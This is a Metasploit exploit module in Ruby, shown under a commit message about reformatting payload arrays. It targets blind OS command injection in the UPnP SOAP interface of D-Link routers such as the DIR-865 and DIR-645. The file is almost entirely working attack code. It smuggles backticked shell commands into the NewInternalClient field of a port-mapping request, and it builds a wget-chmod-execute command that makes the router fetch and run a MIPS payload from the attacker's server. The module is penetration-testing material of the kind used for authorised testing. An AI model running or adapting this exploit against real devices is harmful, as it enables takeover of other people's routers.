c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
263 lines
8.9 KiB
Ruby
263 lines
8.9 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = AverageRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Auxiliary::CommandShell
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'D-Link Devices UPnP SOAP Command Execution',
|
|
'Description' => %q{
|
|
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
|
|
interface. Since it is a blind OS command injection vulnerability, there is no
|
|
output for the executed command when using the CMD target. Additionally, a target
|
|
to deploy a native mipsel payload, when wget is available on the target device, has
|
|
been added. This module has been tested on DIR-865 and DIR-645 devices.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
|
|
'juan vazquez' # minor help with msf module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '94924' ],
|
|
[ 'BID', '61005' ],
|
|
[ 'EDB', '26664' ],
|
|
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-020' ]
|
|
],
|
|
'DisclosureDate' => 'Jul 05 2013',
|
|
'Privileged' => true,
|
|
'Platform' => %w{ linux unix },
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'CMD', #all devices
|
|
{
|
|
'Arch' => ARCH_CMD,
|
|
'Platform' => 'unix'
|
|
}
|
|
],
|
|
[ 'Linux mipsel Payload', #DIR-865, DIR-645 and others with wget installed
|
|
{
|
|
'Arch' => ARCH_MIPSLE,
|
|
'Platform' => 'linux'
|
|
}
|
|
],
|
|
],
|
|
'DefaultTarget' => 1
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(49152), #port of UPnP SOAP webinterface
|
|
OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
|
|
OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
|
|
OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
@new_portmapping_descr = rand_text_alpha(8)
|
|
@new_external_port = rand(65535)
|
|
@new_internal_port = rand(65535)
|
|
|
|
if target.name =~ /CMD/
|
|
exploit_cmd
|
|
else
|
|
exploit_mips
|
|
end
|
|
end
|
|
|
|
def exploit_cmd
|
|
if not (datastore['CMD'])
|
|
fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
|
|
end
|
|
cmd = payload.encoded
|
|
type = "add"
|
|
res = request(cmd, type)
|
|
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
|
end
|
|
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
|
type = "delete"
|
|
res = request(cmd, type)
|
|
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
|
end
|
|
return
|
|
end
|
|
|
|
def exploit_mips
|
|
|
|
downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
|
|
|
|
#thx to Juan for his awesome work on the mipsel elf support
|
|
@pl = generate_payload_exe
|
|
@elf_sent = false
|
|
|
|
#
|
|
# start our server
|
|
#
|
|
resource_uri = '/' + downfile
|
|
|
|
if (datastore['DOWNHOST'])
|
|
service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
|
|
else
|
|
#do not use SSL
|
|
if datastore['SSL']
|
|
ssl_restore = true
|
|
datastore['SSL'] = false
|
|
end
|
|
|
|
#we use SRVHOST as download IP for the coming wget command.
|
|
#SRVHOST needs a real IP address of our download host
|
|
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
|
|
srv_host = Rex::Socket.source_address(rhost)
|
|
else
|
|
srv_host = datastore['SRVHOST']
|
|
end
|
|
|
|
service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
|
|
|
|
print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
|
|
start_service({'Uri' => {
|
|
'Proc' => Proc.new { |cli, req|
|
|
on_request_uri(cli, req)
|
|
},
|
|
'Path' => resource_uri
|
|
}})
|
|
|
|
datastore['SSL'] = true if ssl_restore
|
|
end
|
|
|
|
#
|
|
# download payload
|
|
#
|
|
print_status("#{rhost}:#{rport} - Asking the D-Link device to take and execute #{service_url}")
|
|
#this filename is used to store the payload on the device
|
|
filename = rand_text_alpha_lower(8)
|
|
|
|
cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}; chmod 777 /tmp/#{filename}; /tmp/#{filename}"
|
|
type = "add"
|
|
res = request(cmd, type)
|
|
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
|
|
end
|
|
|
|
# wait for payload download
|
|
if (datastore['DOWNHOST'])
|
|
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the D-Link device to download the payload")
|
|
select(nil, nil, nil, datastore['HTTP_DELAY'])
|
|
else
|
|
wait_linux_payload
|
|
end
|
|
|
|
register_file_for_cleanup("/tmp/#{filename}")
|
|
|
|
type = "delete"
|
|
res = request(cmd, type)
|
|
if (!res or res.code != 200 or res.headers['Server'].nil? or res.headers['Server'] !~ /Linux\,\ UPnP\/1.0,\ DIR/)
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
|
|
end
|
|
end
|
|
|
|
def request(cmd, type)
|
|
|
|
uri = '/soap.cgi'
|
|
|
|
data_cmd = "<?xml version=\"1.0\"?>"
|
|
data_cmd << "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">"
|
|
data_cmd << "<SOAP-ENV:Body>"
|
|
|
|
if type == "add"
|
|
vprint_status("#{rhost}:#{rport} - adding portmapping")
|
|
|
|
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"
|
|
|
|
data_cmd << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
|
|
data_cmd << "<NewPortMappingDescription>#{@new_portmapping_descr}</NewPortMappingDescription>"
|
|
data_cmd << "<NewLeaseDuration></NewLeaseDuration>"
|
|
data_cmd << "<NewInternalClient>`#{cmd}`</NewInternalClient>"
|
|
data_cmd << "<NewEnabled>1</NewEnabled>"
|
|
data_cmd << "<NewExternalPort>#{@new_external_port}</NewExternalPort>"
|
|
data_cmd << "<NewRemoteHost></NewRemoteHost>"
|
|
data_cmd << "<NewProtocol>TCP</NewProtocol>"
|
|
data_cmd << "<NewInternalPort>#{@new_internal_port}</NewInternalPort>"
|
|
data_cmd << "</m:AddPortMapping>"
|
|
else
|
|
#we should clean it up ... otherwise we are not able to exploit it multiple times
|
|
vprint_status("#{rhost}:#{rport} - deleting portmapping")
|
|
soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#DeletePortMapping"
|
|
|
|
data_cmd << "<m:DeletePortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
|
|
data_cmd << "<NewProtocol>TCP</NewProtocol><NewExternalPort>#{@new_external_port}</NewExternalPort><NewRemoteHost></NewRemoteHost>"
|
|
data_cmd << "</m:DeletePortMapping>"
|
|
end
|
|
|
|
data_cmd << "</SOAP-ENV:Body>"
|
|
data_cmd << "</SOAP-ENV:Envelope>"
|
|
|
|
begin
|
|
res = send_request_cgi({
|
|
'uri' => uri,
|
|
'vars_get' => {
|
|
'service' => 'WANIPConn1'
|
|
},
|
|
'ctype' => "text/xml",
|
|
'method' => 'POST',
|
|
'headers' => {
|
|
'SOAPAction' => soapaction,
|
|
},
|
|
'data' => data_cmd
|
|
})
|
|
return res
|
|
rescue ::Rex::ConnectionError
|
|
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
|
return nil
|
|
end
|
|
end
|
|
|
|
# Handle incoming requests from the server
|
|
def on_request_uri(cli, request)
|
|
#print_status("on_request_uri called: #{request.inspect}")
|
|
if (not @pl)
|
|
print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
|
|
return
|
|
end
|
|
print_status("#{rhost}:#{rport} - Sending the payload to the server...")
|
|
@elf_sent = true
|
|
send_response(cli, @pl)
|
|
end
|
|
|
|
# wait for the data to be sent
|
|
def wait_linux_payload
|
|
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
|
|
|
|
waited = 0
|
|
while (not @elf_sent)
|
|
select(nil, nil, nil, 1)
|
|
waited += 1
|
|
if (waited > datastore['HTTP_DELAY'])
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
|
|
end
|
|
end
|
|
end
|
|
end
|